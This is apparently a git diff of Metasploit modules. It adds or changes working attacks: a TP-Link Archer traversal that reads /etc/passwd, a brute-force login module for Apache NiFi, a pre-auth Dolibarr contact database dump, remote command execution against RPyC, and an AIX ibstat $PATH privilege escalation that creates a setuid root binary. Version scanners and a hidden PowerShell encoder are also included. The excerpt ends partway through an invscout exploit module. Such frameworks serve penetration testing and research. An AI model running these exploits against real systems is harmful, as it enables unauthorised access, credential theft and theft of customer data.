include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Archer C7 Directory Traversal Vulnerability', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in the PATH_INFO found at /login/ + on TP-Link Archer C5, C7, and C9 routers of varying versions. + }, + 'References' => [ + [ 'BID', '74050 ' ], + [ 'CVE', '2015-3035' ] + ], + 'Author' => [ 'Nick Cottrell ', 'Anna Graterol ', 'Mana Mostaani ' ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => '2015-04-08', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [] + } + ) + ) + + register_options( + [ + Opt::RPORT(80), + OptString.new('FILE', [true, 'The file to retrieve', '/etc/passwd']), + OptBool.new('SAVE', [false, 'Save the HTTP body', false]), + ] + ) + end + + def check + res = send_request_raw({ + 'method' => 'GET', + 'uri' => '/' + }) + return Exploit::CheckCode::Unknown unless res + + device_title = res.get_html_document&.at('//title')&.text + if device_title =~ /Archer C\d/ + return Exploit::CheckCode::Appears("Target device '#{device_title}'") + end + + Exploit::CheckCode::Safe('Target does not appear to be an Archer Cx router.') + end + + def run + uri = normalize_uri('/login/../../../', datastore['FILE']) + print_status("Grabbing data at #{uri}") + res = send_request_raw({ + 'method' => 'GET', + 'uri' => uri.to_s + }) + + fail_with(Failure::Unreachable, 'Connection failed') unless res + + fail_with(Failure::NotFound, 'The file does not appear to exist') if res.body.to_s.include?('Error 404 requested page cannot be found') + + # We don't save the body by default, because there's also other junk in it. + # But we still have a SAVE option just in case + print_good("#{datastore['FILE']} retrieved") + print_line(res.body) + + if datastore['SAVE'] + p = store_loot( + 'archer_c7.file', + 'application/octet-stream', + rhost, + res.body, + ::File.basename(datastore['FILE']) + ) + print_good("File saved as: #{p}") + end + end +end diff --git a/modules/auxiliary/scanner/http/apache_nifi_login.rb b/modules/auxiliary/scanner/http/apache_nifi_login.rb new file mode 100644 index 0000000000000..92570e9a558b1 --- /dev/null +++ b/modules/auxiliary/scanner/http/apache_nifi_login.rb @@ -0,0 +1,126 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache NiFi Login Scanner', + 'Description' => %q{ + This module attempts to take login details for Apache NiFi websites + and identify if they are valid or not. + + Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.13.0 + Also works against NiFi <= 1.13.0, but the module needs to be adjusted: + set SSL false + set rport 8080 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + Opt::RPORT(8443), + OptString.new('TARGETURI', [ true, 'The URI of the Apache NiFi Application', '/']) + ] + ) + register_advanced_options([ + OptBool.new('SSL', [true, 'Negotiate SSL connection', true]) + ]) + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + last_attempted_at: DateTime.now, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run_host(ip) + vprint_status("Checking #{ip}") + res = send_request_cgi!( + 'uri' => normalize_uri(target_uri.path, 'nifi', 'login') + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 + + fail_with(Failure::NotVulnerable, "Apache NiFi not detected on #{ip}") unless res.body =~ %r{js/nf/nf-namespace\.js\?([\d.]*)">} + + res = send_request_cgi!( + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'access', 'config') + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 + + res_json = res.get_json_document + + unless res_json.dig('config', 'supportsLogin') + print_error("#{peer} - User login not supported, try visiting /nifi to gain access") + return + end + + each_user_pass do |user, pass| + res = send_request_cgi!( + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'access', 'token'), + 'method' => 'POST', + 'vars_post' => { + 'username' => user, + 'password' => pass + } + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + if res.code == 201 + print_good("#{peer} - Apache NiFi - Login successful as '#{user}' with password '#{pass}'") + report_cred( + ip: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + user: user, + password: pass, + proof: res.body.to_s + ) + elsif res.code == 409 + fail_with(Failure::BadConfig, "#{peer} - Logins only accepted on HTTPS") + else + vprint_error("#{peer} - Apache NiFi - Failed to login as '#{user}' with password '#{pass}'") + end + end + end +end diff --git a/modules/auxiliary/scanner/http/apache_nifi_version.rb b/modules/auxiliary/scanner/http/apache_nifi_version.rb new file mode 100644 index 0000000000000..ed4167cc65226 --- /dev/null +++ b/modules/auxiliary/scanner/http/apache_nifi_version.rb @@ -0,0 +1,60 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache NiFi Version Scanner', + 'Description' => %q{ + This module identifies Apache NiFi websites and reports their version number. + + Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.11.0-1.13.0 + Also works against NiFi <= 1.13.0, but the module needs to be adjusted: + set SSL false + set rport 8080 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + register_options( + [ + Opt::RPORT(8443), + OptString.new('TARGETURI', [ true, 'The URI of the Apache NiFi Application', '/nifi/login']) + ] + ) + register_advanced_options([ + OptBool.new('SSL', [true, 'Negotiate SSL connection', true]) + ]) + end + + def run_host(ip) + vprint_status("Checking #{ip}") + res = send_request_cgi!( + 'uri' => normalize_uri(target_uri.path) + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200 + + if res.body =~ %r{js/nf/nf-namespace\.js\?([\d.]*)">} + print_good("Apache NiFi #{Regexp.last_match(1)} found on #{ip}") + else + print_bad("Apache NiFi not detected on #{ip}") + end + end +end diff --git a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb new file mode 100644 index 0000000000000..8d2a819f7378a --- /dev/null +++ b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb @@ -0,0 +1,136 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Module::Failure + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Dolibarr 16 pre-auth contact database dump', + 'Description' => %q{ + Dolibarr version 16 < 16.0.5 is vulnerable to a pre-authentication contact database dump. + An unauthenticated attacker may retreive a company’s entire customer file, prospects, suppliers, + and potentially employee information if a contact file exists. + Both public and private notes are also included in the dump. + }, + 'Author' => [ + 'Vladimir TOUTAIN', 'Nolan LOSSIGNOL-DRILLIEN' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => '2023-03-14', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + }, + 'References' => [ + ['URL', 'https://www.dsecbypass.com/en/dolibarr-pre-auth-contact-database-dump/'], + ['URL', 'https://github.com/Dolibarr/dolibarr/blob/16.0.5/ChangeLog#L34'], + ['URL', 'https://github.com/Dolibarr/dolibarr/commit/bb7b69ef43673ed403436eac05e0bc31d5033ff7'], + ['URL', 'https://github.com/Dolibarr/dolibarr/commit/be82f51f68d738cce205f4ce5b469ef42ed82d9e'] + ], + 'DefaultOptions' => { + 'HttpClientTimeout' => 20 + } + ) + ) + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [true, 'Path to Dolibarr instance', '/']) + ] + ) + end + + def check_host(_ip) + res = send_request_cgi!({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + return Exploit::CheckCode::Unknown('Connection failed') unless res + return Exploit::CheckCode::Safe unless res.code == 200 + + version = res.body.scan(/Dolibarr ([\d.]+-*[a-zA-Z0-9]*)/).flatten.first + + return Exploit::CheckCode::Detected('Dolibarr version not found - proceeding anyway...') if version.blank? + + if Rex::Version.new(version).between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.0.4')) + return Exploit::CheckCode::Appears("Detected vulnerable Dolibarr version: #{version}") + end + + return Exploit::CheckCode::Safe("Detected apparently non-vulnerable Dolibarr version: #{version}") + end + + def run_host(ip) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/public/ticket/ajax/ajax.php'), + 'vars_get' => { + 'action' => 'getContacts', + 'email' => '%' + } + }, datastore['HttpClientTimeout'], true) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response - try increasing HttpClientTimeout") if res.nil? + fail_with(Failure::UnexpectedReply, "Exploit response code: #{res.code}") if res.code != 200 + + res_json_document = res.get_json_document + + fail_with(Failure::UnexpectedReply, 'Dolibarr data did not include contacts field') if res_json_document['contacts'].blank? + + contacts = res_json_document['contacts'] + + print_good("Database type: #{contacts.dig(0, 'db', 'type') || ''}") + print_good("Database name: #{contacts.dig(0, 'db', 'database_name') || ''}") + print_good("Database user: #{contacts.dig(0, 'db', 'database_user') || ''}") + print_good("Database host: #{contacts.dig(0, 'db', 'database_host') || ''}") + print_good("Database port: #{contacts.dig(0, 'db', 'database_port') || ''}") + + contact_fields = contacts[0].keys + contact_fields.delete('db') # We do not want this in the csv + + nbr_contact = contacts.length + + path_json_file = store_loot( + 'dolibarr', + 'application/json', + ip, + JSON.pretty_generate(res.get_json_document), + '.json' + ) + + print_good("Found #{nbr_contact} contacts.") + print_good("#{rhost}:#{rport} - File saved in: #{path_json_file}") + + csv_string = CSV.generate do |csv| # Loop to write into csv + csv << contact_fields + contacts.each do |contact| + csv << contact_fields.map do |element| + if contact[element.to_s].is_a?(String) || contact[element.to_s].is_a?(Integer) + contact[element.to_s]&.to_s&.strip || '' + else + '' + end + end + end + end + + path_csv_file = store_loot( + 'dolibarr', + 'application/csv', + ip, + csv_string, + '.csv' + ) + + print_good("#{rhost}:#{rport} - File saved in: #{path_csv_file}") + end + +end diff --git a/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb b/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb index 7c4c734e43be6..241c3f03203e1 100644 --- a/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb +++ b/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb @@ -62,18 +62,29 @@ def check }) return Exploit::CheckCode::Unknown unless res && res.code == 200 - /"subTitle":"Grafana v(?\d{1,2}.\d{1,2}.\d{1,2}) \([0-9a-f]{10}\)",/ =~ res.body - return Exploit::CheckCode::Safe unless version + # We need to take into account beta versions, which end with -beta. See: https://grafana.com/docs/grafana/latest/release-notes/ + # Also take into account preview versions, which end with -preview. See https://grafana.com/grafana/download/10.0.0-preview?edition=oss for more info. + /"subTitle":"Grafana v(?\d{1,2}\.\d{1,2}\.\d{1,2}(?:(?:-beta\d)?|(?:-preview)?)) \([0-9a-f]{10}\)",/ =~ res.body + return Exploit::CheckCode::Safe unless full_version + + # However, since 8.3.1 does not have a beta, we can safely ignore the -beta suffix when comparing versions + # In fact, this is necessary because Rex::Version doesn't correctly handle versions ending with -beta when comparing + if /-beta\d$/ =~ full_version + version = Rex::Version.new(full_version[0..-7]) + elsif /-preview$/ =~ full_version + version = Rex::Version.new(full_version[0..-9]) + else + version = Rex::Version.new(full_version) + end - version = Rex::Version.new(version) if version.between?(Rex::Version.new('8.0.0-beta1'), Rex::Version.new('8.0.7')) || version.between?(Rex::Version.new('8.1.0'), Rex::Version.new('8.1.8')) || version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.7')) || version.between?(Rex::Version.new('8.3.0'), Rex::Version.new('8.3.1')) - print_good("Detected vulnerable Grafina: #{version}") + print_good("Detected vulnerable Grafana: #{full_version}") return Exploit::CheckCode::Appears end - print_bad("Detected non-vulnerable Grafina: #{version}") + print_bad("Detected non-vulnerable Grafana: #{full_version}") return Exploit::CheckCode::Safe end diff --git a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb index b9f5067e5a3ee..8e006730a82ae 100644 --- a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb +++ b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb @@ -162,11 +162,19 @@ def calc_ranges(content_length) def run_host(ip) begin - if check_host(ip) == Exploit::CheckCode::Safe - print_error("Target is not vulnerable") + vuln_status = check_host(ip) + case vuln_status + when Exploit::CheckCode::Safe + print_error('The target is not exploitable.') return + when Exploit::CheckCode::Unknown + print_error('Cannot reliably check exploitability! Observe the traffic with HTTPTrace turned on and try to debug.') + return + when Exploit::CheckCode::Vulnerable + print_good('The target is vulnerable.') else - print_good("Target may be vulnerable...") + print_error('An unknown status code was returned from check_host!') + return end content_length = get_file_size diff --git a/modules/auxiliary/scanner/http/rpyc_rce.py b/modules/auxiliary/scanner/http/rpyc_rce.py new file mode 100755 index 0000000000000..4bf1c1e615ddd --- /dev/null +++ b/modules/auxiliary/scanner/http/rpyc_rce.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +# standard modules +import logging + +# extra modules +dependencies_missing = False +try: + import rpyc +except ImportError: + dependencies_missing = True + +from metasploit import module + + +metadata = { + 'name': 'RPyC 4.1.0 through 4.1.1 Remote Command Execution', + 'description': ''' + This module allows remote command execution on RPyC versions 4.1.0 and 4.1.1. + You will be able to execute a specified command on the target machine as + the user running the RPyC service and view the output. + ''', + 'authors': [ + 'Aaron Meese <@ajmeese7>', # Metasploit module + 'Jamie Hill-Daniel <@clubby789>' # Original PoC + ], + 'date': '2023-02-19', # set to date of creation + 'license': 'MSF_LICENSE', + 'references': [ + {'type': 'cve', 'ref': '2019-16328'}, + {'type': 'url', 'ref': 'https://github.com/advisories/GHSA-pj4g-4488-wmxm'}, + {'type': 'url', 'ref': 'https://gist.github.com/clubby789/b681e7a40da070713c3760953d8df1c3'} + ], + 'type': 'single_scanner', + 'options': { + 'RHOST': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None}, + 'RPORT': {'type': 'port', 'description': 'Target port', 'required': True, 'default': 18812}, + 'COMMAND': {'type': 'string', 'description': 'Command to execute', 'required': True, 'default': 'whoami'} + } +} + + +def run(args): + module.LogHandler.setup(msg_prefix='{} - '.format(args['RHOST'])) + if dependencies_missing: + logging.error('Module dependency (rpyc) is missing, cannot continue') + return + + try: + # Connect to remote host + conn = rpyc.connect(args['RHOST'], args['RPORT']) + module.log("Connected to RPyC service at {}:{}".format(args['RHOST'], args['RPORT']), 'success') + except Exception as e: + logging.error('{}'.format(e)) + return + + # Get a NetRef to the service + conn.root + + def call_method(object, method, arg): + # The remote will handle this with + # `getattr(type(object), method)(object, arg)` + return conn.sync_request(rpyc.core.consts.HANDLE_CMP, object, arg, method) + + def _getattr(object, name): + # Call the internal __getattribute__ + return call_method(object, '__getattribute__', name) + + def _getitem(object, name): + # Call the internal __getitem__ + return call_method(object, '__getitem__', name) + + try: + # Retrieve service's class + the_class = _getattr(conn._remote_root, '__class__') + # Retrieve a reference to a function in the class + a_func = _getattr(the_class, 'get_service_aliases') + # Get the function's 'globals'; i.e. the Python globals + globals = _getattr(a_func, '__globals__') + # Retrieve a reference to the builtins module + builtins = _getitem(globals, '__builtins__') + # Retrieve a reference to the import function + imp = _getitem(builtins, '__import__') + # Import the subprocess module and get a reference to it + sp = imp('subprocess') + # Get a reference to getoutput + remote_system = _getattr(sp, 'getoutput') + + # Execute remote command + module.log("Executing command: {}".format(args['COMMAND']), 'success') + result = remote_system(args['COMMAND']) + module.log("Command result: {}".format(result), 'success') + except AttributeError: + # If the target is not vulnerable, the above code will raise an AttributeError: + # "AttributeError: cannot access '__getattribute__'" + module.log('Target is not vulnerable.', 'error') + return + + +if __name__ == '__main__': + module.run(metadata, run) diff --git a/modules/auxiliary/scanner/misc/rocketmq_version.rb b/modules/auxiliary/scanner/misc/rocketmq_version.rb new file mode 100644 index 0000000000000..df3d0f75e0da9 --- /dev/null +++ b/modules/auxiliary/scanner/misc/rocketmq_version.rb @@ -0,0 +1,104 @@ +### This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache RocketMQ Version Scanner', + 'Description' => %q{ + Version scanner for the Apache RocketMQ product. + }, + 'Author' => [ + 'h00die', + 'Malayke' # CVE-2023-33246 code + ], + 'References' => [ + ['URL', 'https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT/blob/main/check.py'], + ['URL', 'https://github.com/apache/rocketmq'] + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + register_options([ Opt::RPORT(9876) ]) + end + + def get_version(id) + # from https://github.com/apache/rocketmq/blob/develop/common/src/4d82b307ef50f5cba5717d0ebafeb3cabf336873/java/org/apache/rocketmq/common/MQVersion.java + version_list = JSON.parse(File.read(::File.join(Msf::Config.data_directory, 'rocketmq_versions_list.json'), mode: 'rb')) + version_list.fetch(id, "UNKNOWN_VERSION_ID_#{id})") + end + + def run_host(_ip) + # https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT/blob/e27693a854a8e3b2863dc366f36002107e3595de/check.py#L68 + data = '{"code":105,"extFields":{"Signature":"/u5P/wZUbhjanu4LM/UzEdo2u2I=","topic":"TBW102","AccessKey":"rocketmq2"},"flag":0,"language":"JAVA","opaque":1,"serializeTypeCurrentRPC":"JSON","version":401}' + data_length = "\x00\x00\x00" + [data.length].pack('C') + header = "\x00\x00\x00" + [data.length + data_length.length].pack('C') + + begin + connect + vprint_status('Sending request') + sock.send(header + data_length + data, 0) + res = sock.recv(1024) + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + print_error("Unable to connect: #{e.class} #{e.message}\n#{e.backtrace * "\n"}") + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + ensure + disconnect + end + + if res.nil? + vprint_error('No response received') + return + end + + unless res.include?('{') + vprint_error('Response contains unusable data') + return + end + + # remove a response header so we have json-ish data + res = res[8..] + + # we have 2 json objects appended to eachother, so we now need to split that out and make it usable + res = res.split('}{') + + jsonable = [] + # patch back in the { and } + res.each do |r| + r += '}' unless r.end_with?('}') + r = '{' + r unless r.start_with?('{') + jsonable.append(r) + end + + parsed_data = {} + # grab some data that we need/want out of the response + jsonable.each do |j| + begin + res = JSON.parse(j) + rescue JSON::ParserError + vprint_error("Unable to parse json data: #{j}") + next + end + parsed_data['version'] = get_version(res['version']).gsub('_', '.') if res['version'] + parsed_data['brokerDatas'] = res['brokerDatas'] if res['brokerDatas'] + end + + if parsed_data == {} + vprint_error('Unable to find version or other data within response.') + return + end + print_good("RocketMQ version #{parsed_data['version']} found with brokers: #{res['brokerDatas']}") + end +end diff --git a/modules/encoders/cmd/brace.rb b/modules/encoders/cmd/brace.rb index 4c96a122a9655..edd9ee5edeba2 100644 --- a/modules/encoders/cmd/brace.rb +++ b/modules/encoders/cmd/brace.rb @@ -27,7 +27,7 @@ def encode_block(state, buf) return buf if state.badchars !~ /\s/ # Perform brace expansion encoding - "{#{buf.gsub(',', '\\,').gsub(/\s+/, ',')}}" + "{#{buf.gsub(/([{,}])/, '\\\\\1').gsub(/\s+/, ',')}}" end end diff --git a/modules/encoders/cmd/powershell_base64.rb b/modules/encoders/cmd/powershell_base64.rb index 9f15744be189b..d4d3685ade140 100644 --- a/modules/encoders/cmd/powershell_base64.rb +++ b/modules/encoders/cmd/powershell_base64.rb @@ -2,7 +2,7 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - +include Msf::Post::Windows class MetasploitModule < Msf::Encoder Rank = ExcellentRanking @@ -45,7 +45,18 @@ def encode_block(state, buf) end def encode_buf(buf) - base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c start #{buf}")) + # From https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_quoting_rules?view=powershell-7.3 + # To include a single quotation mark in a single-quoted string, use a second consecutive single quote. For example: + # 'don''t' would be the string "don't" but using single quotes. + # + # Note that we can't use double quotes here as double quote strings in PowerShell are classed as expandable strings + # and we don't want expansion here, as this might cause any potential elements starting with $ to be interpreted + # as a variable within the string to be replaced by that variable's value. + # + # The use of quotes also ensures that we get around the issue with cmd.exe understanding & as a symbol for + # "also execute this command", whereas in PowerShell it is a reserved character, so not quoting the string + # will result in the & being interpreted by PowerShell and the command failing on an interpretation error in PowerShell itself. + base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c 'start #{Msf::Post::Windows.escape_powershell_literal(buf)} '")) cmd = "powershell -w hidden -nop -e #{base64}" end end diff --git a/modules/exploits/aix/local/ibstat_path.rb b/modules/exploits/aix/local/ibstat_path.rb index c618165c9c466..dcce59c48b08d 100644 --- a/modules/exploits/aix/local/ibstat_path.rb +++ b/modules/exploits/aix/local/ibstat_path.rb @@ -8,66 +8,75 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) - super(update_info(info, - "Name" => "ibstat $PATH Privilege Escalation", - "Description" => %q{ - This module exploits the trusted $PATH environment variable of the SUID binary "ibstat". - }, - "Author" => [ - "Kristian Erik Hermansen", #original author - "Sagi Shahar ", #Metasploit module - "Kostas Lintovois " #Metasploit module - ], - "References" => [ - ["CVE", "2013-4011"], - ["OSVDB", "95420"], - ["BID", "61287"], - ["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827"], - ["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756"] - ], - "Platform" => ["unix"], - "Arch" => ARCH_CMD, - "Payload" => { - "Compat" => { - "PayloadType" => "cmd", - "RequiredCmd" => "perl" + super( + update_info( + info, + 'Name' => 'ibstat $PATH Privilege Escalation', + 'Description' => %q{ + This module exploits the trusted $PATH environment variable of the SUID binary "ibstat". + }, + 'Author' => [ + 'Kristian Erik Hermansen', # original author + 'Sagi Shahar ', # Metasploit module + 'Kostas Lintovois ' # Metasploit module + ], + 'References' => [ + ['CVE', '2013-4011'], + ['OSVDB', '95420'], + ['BID', '61287'], + ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827'], + ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756'] + ], + 'Platform' => %w[unix aix], + 'Arch' => ARCH_CMD, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl' + } + }, + 'SessionTypes' => %w[shell], + 'Targets' => [ + ['IBM AIX Version 6.1', {}], + ['IBM AIX Version 7.1', {}] + ], + 'DefaultTarget' => 1, + 'DisclosureDate' => '2013-09-24', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] } - }, - "Targets" => [ - ["IBM AIX Version 6.1", {}], - ["IBM AIX Version 7.1", {}] - ], - "DefaultTarget" => 1, - "DisclosureDate" => '2013-09-24' - )) + ) + ) register_options([ - OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]) + OptString.new('IBSTAT_PATH', [true, 'Path to ibstat executable', '/usr/bin/ibstat']) ]) + register_advanced_options([ + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) + ]) + end + + def ibstat_path + datastore['IBSTAT_PATH'] end def check - find_output = cmd_exec("find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null") + find_output = cmd_exec('find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null') - if find_output.include?("ibstat") - return Exploit::CheckCode::Vulnerable - end + return CheckCode::Safe("#{ibstat_path} is not set-uid root") unless find_output.to_s.include?('ibstat') - Exploit::CheckCode::Safe + CheckCode::Appears("#{ibstat_path} is set-uid root") end def exploit - if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") - else - print_good("Target is vulnerable.") - end - - root_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}" - arp_file = "#{datastore["WritableDir"]}/arp" - c_file = %Q^#include + root_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}" + arp_file = "#{datastore['WritableDir']}/arp" + c_file = %^#include int main() { @@ -77,19 +86,19 @@ def exploit return 0; } ^ - arp = %Q^#!/bin/sh + arp = %(#!/bin/sh chown root #{root_file} chmod 4555 #{root_file} -^ +) if gcc_installed? print_status("Dropping file #{root_file}.c...") write_file("#{root_file}.c", c_file) - print_status("Compiling source...") + print_status('Compiling source...') cmd_exec("gcc -o #{root_file} #{root_file}.c") - print_status("Compilation completed") + print_status('Compilation completed') register_file_for_cleanup("#{root_file}.c") else @@ -98,75 +107,77 @@ def exploit register_file_for_cleanup(root_file) - print_status("Writing custom arp file...") - write_file(arp_file,arp) + print_status('Writing custom arp file...') + write_file(arp_file, arp) register_file_for_cleanup(arp_file) cmd_exec("chmod 0555 #{arp_file}") - print_status("Custom arp file written") - - print_status("Updating $PATH environment variable...") - path_env = cmd_exec("echo $PATH") - cmd_exec("PATH=#{datastore["WritableDir"]}:$PATH") - cmd_exec("export PATH") - - print_status("Finding interface name...") - iface = "" - cmd_exec("lsdev -Cc if").each_line do |line| - if line.match(/^[a-z]+[0-9]+\s+Available/) and not line.match(/^lo[0-9]/) - iface = line.split(/\s+/)[0] - print_status("Found interface #{iface}.") - break - end + print_status('Custom arp file written') + + print_status('Updating $PATH environment variable...') + path_env = cmd_exec('echo $PATH') + cmd_exec("PATH=#{datastore['WritableDir']}:$PATH") + cmd_exec('export PATH') + + print_status('Finding interface name...') + iface = '' + cmd_exec('lsdev -Cc if').each_line do |line| + next unless line.match(/^[a-z]+[0-9]+\s+Available/) && !line.match(/^lo[0-9]/) + + iface = line.split(/\s+/)[0] + print_status("Found interface #{iface}.") + break end - if iface == "" - iface = "en0" - print_status("Found no interface, defaulting to en0.") + + if iface == '' + iface = 'en0' + print_status('Found no interface, defaulting to en0.') end - print_status("Triggering vulnerablity...") - cmd_exec("/usr/bin/ibstat -a -i #{iface} 2>/dev/null >/dev/null") + print_status('Triggering vulnerablity...') + cmd_exec("#{ibstat_path} -a -i #{iface} 2>/dev/null >/dev/null") # The $PATH variable must be restored before the payload is executed # in cases where an euid root shell was gained - print_status("Restoring $PATH environment variable...") + print_status('Restoring $PATH environment variable...') cmd_exec("PATH=#{path_env}") - cmd_exec("export PATH") + cmd_exec('export PATH') cmd_exec(root_file) - print_status("Checking root privileges...") + print_status('Checking root privileges...') if is_root? - print_status("Executing payload...") + print_status('Executing payload...') cmd_exec(payload.encoded) end end def gcc_installed? - print_status("Checking if gcc exists...") - gcc_whereis_output = cmd_exec("whereis -b gcc") + print_status('Checking if gcc exists...') + gcc_whereis_output = cmd_exec('whereis -b gcc') - if gcc_whereis_output.include?("/") - print_good("gcc found!") + if gcc_whereis_output.to_s.include?('/') + print_good('gcc found!') return true end - print_status("gcc not found. Using /bin/sh from local system") + print_status('gcc not found. Using /bin/sh from local system') false end def is_root? - id_output = cmd_exec("id") + id_output = cmd_exec('id') - if id_output.include?("euid=0(root)") - print_good("Got root! (euid)") + if id_output.include?('euid=0(root)') + print_good('Got root! (euid)') return true end - if id_output.include?("uid=0(root)") - print_good("Got root!") + + if id_output.include?('uid=0(root)') + print_good('Got root!') return true end - print_error("Exploit failed") + print_error('Exploit failed') false end end diff --git a/modules/exploits/aix/local/invscout_rpm_priv_esc.rb b/modules/exploits/aix/local/invscout_rpm_priv_esc.rb new file mode 100644 index 0000000000000..97b61ea7de6d1 --- /dev/null +++ b/modules/exploits/aix/local/invscout_rpm_priv_esc.rb @@ -0,0 +1,93 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 